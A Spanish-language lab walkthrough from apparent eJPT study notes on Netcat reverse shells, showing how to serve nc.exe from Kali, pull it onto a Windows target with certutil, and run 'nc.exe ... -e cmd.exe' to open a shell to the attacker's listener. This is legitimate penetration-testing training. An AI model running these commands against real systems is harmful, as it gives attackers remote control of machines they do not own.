> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/explotacion/shells/reverse-shells.md).

# Reverse Shells

## 🧠 ¿Qué es un Reverse Shell?

Un **Reverse Shell** es un tipo de **shell remoto** en el que el **sistema objetivo inicia la conexión hacia el atacante**, permitiéndole a este último ejecutar comandos en la máquina comprometida.

* **La víctima actúa como cliente**, conectándose a un servidor controlado por el atacante.
* El atacante **escucha la conexión** y, una vez establecida, obtiene control sobre el sistema remoto.

***

## ⚙️ ¿Cómo funciona?

1. El atacante pone su sistema en modo escucha (por ejemplo, con Netcat en el puerto 4444).
2. La víctima (tras ser comprometida) ejecuta un comando que inicia una conexión de salida hacia el atacante.
3. Una vez conectado, el atacante obtiene una shell interactiva en el sistema víctima.

<figure><img src="/files/yboo1WHcCgSDqqkNAQs4" alt=""><figcaption></figcaption></figure>

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de la GUI de Kali

**Paso 2:** Configuración del laboratorio

Este laboratorio le proporcionará acceso a dos sistemas:

1. El sistema atacante que ejecuta Kali
2. El sistema de destino que ejecuta Windows

Se puede acceder a estos sistemas a través del selector de pestañas en la parte superior del laboratorio, como se muestra en la siguiente captura de pantalla.

Este laboratorio requiere dos sistemas para poder comprender cómo se comunica Netcat ya sea a través de un oyente o cuando se conecta a un puerto.

<figure><img src="/files/3hicsRszwPBYR8DFDPaO" alt=""><figcaption></figcaption></figure>

**Paso 3:** Identificar la dirección IP de destino

Antes de comenzar, deberá obtener la dirección IP del sistema de destino dentro del entorno de laboratorio.

Este laboratorio le proporcionará la dirección IP de destino en una ventana de leafpad cuando acceda al laboratorio por primera vez, como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/ImFVtZqZEUo6WjQOBIu1" alt=""><figcaption></figcaption></figure>

**Nota:** Su dirección IP de destino será diferente, así que asegúrese de sustituir la IP que se muestra en los comandos a continuación con la de su laboratorio.

**Paso 4** Transferencia del ejecutable de Netcat al sistema Windows

Para configurar un shell inverso con Netcat, necesitaremos transferir el ejecutable **nc.exe** al sistema de destino que ejecuta Windows.

Kali Linux viene preempaquetado con el ejecutable **nc.exe** , podemos alojar el ejecutable configurando un servidor HTTP con Python.

El primer paso consiste en acceder al directorio **/usr/share/windows-binaries** . Para ello, ejecute el siguiente comando:

**Dominio**

```
cd /usr/share/windows-binaries
```

Luego podemos configurar un servidor HTTP con Python dentro de este directorio ejecutando el siguiente comando:

**Dominio**

```
python -m SimpleHTTPServer 80
```

<figure><img src="/files/2RjR78h4vkkpLM8vktqN" alt=""><figcaption></figcaption></figure>

Ahora necesitará identificar la dirección IP de su sistema Kali Linux, esto se puede hacer ejecutando el siguiente comando en el sistema Kali:

**Dominio**

```
ifconfig
```

Como se muestra en la siguiente captura de pantalla, la dirección IP de Kali Linux en este caso es**10.10.0.2**En tu caso, esto será diferente.

<figure><img src="/files/sG9vxzilwv0AvOuCsVAn" alt=""><figcaption></figcaption></figure>

Ahora deberá navegar hasta el sistema de destino que ejecuta Windows haciendo clic en la pestaña **Máquina de destino** en la parte superior del laboratorio, como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/KQQrlV0mhC2fXrnkDlt0" alt=""><figcaption></figcaption></figure>

Luego deberá abrir un símbolo del sistema, navegar al directorio del Escritorio y ejecutar el siguiente comando para descargar el ejecutable **nc.exe** del servidor web alojado en el sistema Kali Linux.

**Dominio**

```
certutil -urlcache -f http://10.10.3.2/nc.exe nc.exe
```

**Paso 5:**&#x43;onfiguración del escucha de shell inverso

Ahora que hemos transferido el ejecutable **nc.exe** al sistema Windows, podemos comenzar a configurar el escucha de shell inverso en el sistema Kali Linux.

En este caso, nos conectaremos a un escucha de shell inverso en el sistema Kali Linux, por lo que necesitaremos configurar un escucha Netcat en el sistema Kali Linux.

Esto se puede hacer ejecutando el siguiente comando:

**Dominio**

```
nc -nvlp 1234
```

<figure><img src="/files/MmVZrGIQxojvJntRR60n" alt=""><figcaption></figcaption></figure>

Ahora podemos conectarnos al escucha de shell inverso que se ejecuta en el sistema Kali Linux desde el sistema Windows ejecutando el siguiente comando:

**Dominio**

```
nc.exe -nv 10.10.0.2 1234 -e cmd.exe
```

<figure><img src="/files/z9wCrGCy3hCeEzaYhrDT" alt=""><figcaption></figcaption></figure>

Como se muestra en la siguiente captura de pantalla, conectarse al escucha de shell inverso nos proporcionará un shell remoto en el sistema Windows.

<figure><img src="/files/W8eFV1BMy61aurCtSu1w" alt=""><figcaption></figcaption></figure>

Este proceso también se puede revertir, por ejemplo, si quisiéramos obtener un shell inverso en el sistema Kali Linux desde el sistema Windows, necesitaríamos configurar un escucha Netcat en el sistema Windows.

### Conclusión

En este laboratorio, exploramos el proceso de configuración de un shell inverso con Netcat.
